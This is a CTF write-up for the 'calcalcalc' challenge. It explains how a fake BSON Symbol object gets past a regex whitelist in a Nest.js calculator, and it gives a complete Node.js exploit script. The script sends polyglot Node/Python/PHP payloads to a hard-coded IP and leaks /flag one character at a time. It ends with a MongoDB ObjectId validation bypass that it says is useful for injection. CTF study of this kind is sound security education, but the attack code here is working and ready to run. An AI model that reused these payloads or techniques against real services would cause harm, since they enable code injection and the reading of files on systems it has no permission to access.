calcalcalc again and again...
9-calc-eposide.3
Same to v1 and v2.
The second task is to bypass RegExp /^[0-9a-z\[\]\+\-\*\/ \t]+$/.
Nestjs is a Nodejs Web Framework which is very similar to Spring, and it's written by TypeScript. However, it's NOT Spring. TypeScript is a strongly-typed language, but it's designed for transcompiles to JavaScript so all type definitions will be removed in runtime. We can just ignore expression: string type hinting and pass an object to expression. This time, object.toString() === '[object Object]'.
But we have no way to let object.toString() become a useful runnable code ─ if frontend and backends communicate by JSON, it's true. I believe that everyone has used MongoDB. Nodejs can pass a JavaScript function to MongoDB, which is not defined in the JSON standard. So they introduce BSON as their data interchange format. This challenge also used BSON. Luckily, we can simulate our object to a BSON object in JavaScript.
Let's read mongodb/js-bson's serializer, we can know it detects the object's type by Object[_bsontype] instead of instanceof.
https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756
} else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {After searching, I found that Symbol is the best type to emulate an object as a string. I checked most of the BSON deserializers and Symbol.toString() always returns the value of the symbol.
So let's build a Symbol like this:
{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}Build 3 polyglots in 3 languages to get flag.
const axios = require('axios')
const url = 'http://45.77.242.16/calculate'
const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')
const payloads = [
// Nodejs
`1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// Python
`(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// PHP
`len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,
]
const rets = []
const checkAnswer = (value) => axios.post(url, {
expression: {
value,
_bsontype: "Symbol"
},
isVip: true
}).then(p => p.data.ret === '1').catch(e => {})
const fn = async () => {
for (let j = 0; j < payloads.length; j++) {
const payload = payloads[j]
let flag = ''
let index = 0
while (true) {
for (let i = 0; i < symbols.length; i++) {
const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))
if (ret) {
flag += symbols[i]
console.log(symbols[i])
i = 0
index++
}
}
break
}
rets.push(flag)
console.log(rets)
}
}
fn().then(p => {
console.log(rets.join(''))
})In this challenge, the BSON part was inspired by the 996Game of *CTF2019. The code of 996game is:
GameServer.loadPlayer = function(socket,id){
GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){I built { toHexString: 'aaa', length: 0, id: {length: 12} } to bypass the validation of ObjectId because MongoDB Driver used old version js-bson. This maybe useful in MongoDB injection.